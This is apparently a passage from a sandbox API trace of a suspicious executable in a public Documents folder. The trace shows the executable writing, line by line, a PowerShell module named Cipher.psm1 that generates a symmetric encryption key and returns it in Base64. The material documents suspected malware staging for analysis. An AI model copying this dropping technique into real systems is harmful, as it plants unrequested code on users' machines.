(lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf070, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.930] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.930] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.930] GetFileType (hFile=0x1c) returned 0x1 [0062.930] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ca [0062.930] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf088*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf088*=0) returned 0x1c9 [0062.930] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf080, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf07c, lpOverlapped=0x0 | out: lpBuffer=0x1cf080*, lpNumberOfBytesRead=0x1cf07c*=0x1, lpOverlapped=0x0) returned 1 [0062.930] GetConsoleTitleW (in: lpConsoleTitle=0x1ceea0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.930] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5fed10 [0062.931] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5fed10, Size=0x1e) returned 0x5fc158 [0062.931] GetProcessHeap () returned 0x5d0000 [0062.931] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5fc158) returned 0x1e [0062.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3a) returned 0x5f52f8 [0062.931] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cee68 | out: _Buffer=" Process { \r\n") returned 20 [0062.931] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.931] GetFileType (hFile=0x1c) returned 0x1 [0062.931] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Process { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Process { \r\n", lpUsedDefaultChar=0x0) returned 21 [0062.931] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1cee54, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cee54*=0x14, lpOverlapped=0x0) returned 1 [0062.931] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.933] _close (_FileHandle=3) returned 0 [0062.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc9d0 [0062.933] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.933] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.933] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.933] GetFileType (hFile=0x7) returned 0x2 [0062.933] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.933] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf03c | out: lpMode=0x1cf03c) returned 1 [0062.934] _dup (_FileHandle=1) returned 3 [0062.934] _close (_FileHandle=1) returned 0 [0062.935] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.935] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf00c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.935] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.935] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.935] GetFileType (hFile=0x1c) returned 0x1 [0062.935] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1de [0062.935] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf024*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf024*=0) returned 0x1dd [0062.935] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf01c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf018, lpOverlapped=0x0 | out: lpBuffer=0x1cf01c*, lpNumberOfBytesRead=0x1cf018*=0x1, lpOverlapped=0x0) returned 1 [0062.935] GetConsoleTitleW (in: lpConsoleTitle=0x1cee3c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.935] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x68) returned 0x604be0 [0062.935] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604be0, Size=0x16) returned 0x604be0 [0062.935] GetProcessHeap () returned 0x5d0000 [0062.935] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604be0) returned 0x16 [0062.936] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x42) returned 0x5d67e8 [0062.936] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cee04 | out: _Buffer=" try { \r\n") returned 24 [0062.936] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.936] GetFileType (hFile=0x1c) returned 0x1 [0062.936] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" try { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" try { \r\n", lpUsedDefaultChar=0x0) returned 25 [0062.936] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1cedf0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cedf0*=0x18, lpOverlapped=0x0) returned 1 [0062.936] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.937] _close (_FileHandle=3) returned 0 [0062.938] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc9f0 [0062.938] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.938] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.938] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.938] GetFileType (hFile=0x7) returned 0x2 [0062.938] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.938] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cefd8 | out: lpMode=0x1cefd8) returned 1 [0062.939] _dup (_FileHandle=1) returned 3 [0062.939] _close (_FileHandle=1) returned 0 [0062.939] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.940] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cefa8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.940] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.940] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.940] GetFileType (hFile=0x1c) returned 0x1 [0062.940] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f6 [0062.940] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cefc0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cefc0*=0) returned 0x1f5 [0062.940] ReadFile (in: hFile=0x1c, lpBuffer=0x1cefb8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cefb4, lpOverlapped=0x0 | out: lpBuffer=0x1cefb8*, lpNumberOfBytesRead=0x1cefb4*=0x1, lpOverlapped=0x0) returned 1 [0062.940] GetConsoleTitleW (in: lpConsoleTitle=0x1cedd8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.940] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x184) returned 0x604c00 [0062.940] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604c00, Size=0xa6) returned 0x604c00 [0062.940] GetProcessHeap () returned 0x5d0000 [0062.940] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604c00) returned 0xa6 [0062.940] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd0) returned 0x604cb0 [0062.940] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ceda0 | out: _Buffer=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n") returned 95 [0062.940] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.940] GetFileType (hFile=0x1c) returned 0x1 [0062.941] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", lpUsedDefaultChar=0x0) returned 96 [0062.941] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1ced8c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ced8c*=0x5f, lpOverlapped=0x0) returned 1 [0062.941] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.942] _close (_FileHandle=3) returned 0 [0062.943] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fca10 [0062.943] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.943] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.943] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.943] GetFileType (hFile=0x7) returned 0x2 [0062.943] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.943] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cef74 | out: lpMode=0x1cef74) returned 1 [0062.944] _dup (_FileHandle=1) returned 3 [0062.944] _close (_FileHandle=1) returned 0 [0062.944] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.944] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cef44, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.945] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.945] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.945] GetFileType (hFile=0x1c) returned 0x1 [0062.945] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x255 [0062.945] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cef5c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cef5c*=0) returned 0x254 [0062.945] ReadFile (in: hFile=0x1c, lpBuffer=0x1cef54, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cef50, lpOverlapped=0x0 | out: lpBuffer=0x1cef54*, lpNumberOfBytesRead=0x1cef50*=0x1, lpOverlapped=0x0) returned 1 [0062.945] GetConsoleTitleW (in: lpConsoleTitle=0x1ced74, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x100) returned 0x604d88 [0062.945] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604d88, Size=0x68) returned 0x604d88 [0062.945] GetProcessHeap () returned 0x5d0000 [0062.945] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604d88) returned 0x68 [0062.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8e) returned 0x604df8 [0062.945] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ced3c | out: _Buffer=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n") returned 62 [0062.945] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.945] GetFileType (hFile=0x1c) returned 0x1 [0062.945] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n", lpUsedDefaultChar=0x0) returned 63 [0062.945] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x1ced28, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ced28*=0x3e, lpOverlapped=0x0) returned 1 [0062.946] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.947] _close (_FileHandle=3) returned 0 [0062.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fca30 [0062.948] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.948] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.948] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.948] GetFileType (hFile=0x7) returned 0x2 [0062.948] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.948] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cef10 | out: lpMode=0x1cef10) returned 1 [0062.949] _dup (_FileHandle=1) returned 3 [0062.949] _close (_FileHandle=1) returned 0 [0062.949] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.949] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ceee0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.950] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.950] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.950] GetFileType (hFile=0x1c) returned 0x1 [0062.950] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x293 [0062.950] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ceef8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ceef8*=0) returned 0x292 [0062.950] ReadFile (in: hFile=0x1c, lpBuffer=0x1ceef0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ceeec, lpOverlapped=0x0 | out: lpBuffer=0x1ceef0*, lpNumberOfBytesRead=0x1ceeec*=0x1, lpOverlapped=0x0) returned 1 [0062.950] GetConsoleTitleW (in: lpConsoleTitle=0x1ced10, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf8) returned 0x604e90 [0062.950] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604e90, Size=0x40) returned 0x604e90 [0062.950] GetProcessHeap () returned 0x5d0000 [0062.950] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604e90) returned 0x40 [0062.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8a) returned 0x604ed8 [0062.950] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cecd8 | out: _Buffer=" $Crypto.KeySize = $KeySize } \r\n") returned 60 [0062.950] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.950] GetFileType (hFile=0x1c) returned 0x1 [0062.951] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.KeySize = $KeySize } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.KeySize = $KeySize } \r\n", lpUsedDefaultChar=0x0) returned 61 [0062.951] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x1cecc4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cecc4*=0x3c, lpOverlapped=0x0) returned 1 [0062.951] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.953] _close (_FileHandle=3) returned 0 [0062.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fca50 [0062.954] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.954] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.954] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.954] GetFileType (hFile=0x7) returned 0x2 [0062.954] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.954] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ceeac | out: lpMode=0x1ceeac) returned 1 [0062.955] _dup (_FileHandle=1) returned 3 [0062.955] _close (_FileHandle=1) returned 0 [0062.955] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.955] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cee7c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.956] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.956] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.956] GetFileType (hFile=0x1c) returned 0x1 [0062.956] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2cf [0062.956] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cee94*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cee94*=0) returned 0x2ce [0062.956] ReadFile (in: hFile=0x1c, lpBuffer=0x1cee8c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cee88, lpOverlapped=0x0 | out: lpBuffer=0x1cee8c*, lpNumberOfBytesRead=0x1cee88*=0x1, lpOverlapped=0x0) returned 1 [0062.956] GetConsoleTitleW (in: lpConsoleTitle=0x1cecac, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.956] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x9c) returned 0x5e80e8 [0062.956] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e80e8, Size=0x36) returned 0x5e80e8 [0062.956] GetProcessHeap () returned 0x5d0000 [0062.956] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e80e8) returned 0x36 [0062.956] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5c) returned 0x604f70 [0062.956] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cec74 | out: _Buffer=" $Crypto.GenerateKey() \r\n") returned 37 [0062.956] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.957] GetFileType (hFile=0x1c) returned 0x1 [0062.957] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.GenerateKey() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.GenerateKey() \r\n", lpUsedDefaultChar=0x0) returned 38 [0062.957] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x1cec60, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cec60*=0x25, lpOverlapped=0x0) returned 1 [0062.957] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.958] _close (_FileHandle=3) returned 0 [0062.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fca70 [0062.958] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.958] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.959] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.959] GetFileType (hFile=0x7) returned 0x2 [0062.959] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.959] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cee48 | out: lpMode=0x1cee48) returned 1 [0062.959] _dup (_FileHandle=1) returned 3 [0062.960] _close (_FileHandle=1) returned 0 [0062.960] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.960] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cee18, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.960] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.960] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.960] GetFileType (hFile=0x1c) returned 0x1 [0062.960] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f4 [0062.960] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cee30*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cee30*=0) returned 0x2f3 [0062.960] ReadFile (in: hFile=0x1c, lpBuffer=0x1cee28, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cee24, lpOverlapped=0x0 | out: lpBuffer=0x1cee28*, lpNumberOfBytesRead=0x1cee24*=0x1, lpOverlapped=0x0) returned 1 [0062.961] GetConsoleTitleW (in: lpConsoleTitle=0x1cec48, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.961] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbc) returned 0x5e8128 [0062.961] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8128, Size=0x30) returned 0x5e8128 [0062.961] GetProcessHeap () returned 0x5d0000 [0062.961] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8128) returned 0x30 [0062.961] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5fd3f8 [0062.961] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cec10 | out: _Buffer=" if($AsPlainText) { \r\n") returned 45 [0062.961] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.961] GetFileType (hFile=0x1c) returned 0x1 [0062.961] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($AsPlainText) { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($AsPlainText) { \r\n", lpUsedDefaultChar=0x0) returned 46 [0062.961] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x1cebfc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cebfc*=0x2d, lpOverlapped=0x0) returned 1 [0062.961] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.963] _close (_FileHandle=3) returned 0 [0062.964] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fca90 [0062.964] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.964] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.964] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.964] GetFileType (hFile=0x7) returned 0x2 [0062.964] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.964] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cede4 | out: lpMode=0x1cede4) returned 1 [0062.964] _dup (_FileHandle=1) returned 3 [0062.965] _close (_FileHandle=1) returned 0 [0062.965] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.965] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cedb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.965] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.965] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.966] GetFileType (hFile=0x1c) returned 0x1 [0062.966] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x321 [0062.966] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cedcc*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cedcc*=0) returned 0x320 [0062.966] ReadFile (in: hFile=0x1c, lpBuffer=0x1cedc4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cedc0, lpOverlapped=0x0 | out: lpBuffer=0x1cedc4*, lpNumberOfBytesRead=0x1cedc0*=0x1, lpOverlapped=0x0) returned 1 [0062.966] GetConsoleTitleW (in: lpConsoleTitle=0x1cebe4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x130) returned 0x5e8160 [0062.966] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8160, Size=0x78) returned 0x5e8160 [0062.966] GetProcessHeap () returned 0x5d0000 [0062.966] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8160) returned 0x78 [0062.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa6) returned 0x5e81e0 [0062.966] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cebac | out: _Buffer=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n") returned 74 [0062.966] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.966] GetFileType (hFile=0x1c) returned 0x1 [0062.966] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n", lpUsedDefaultChar=0x0) returned 75 [0062.966] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x1ceb98, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, 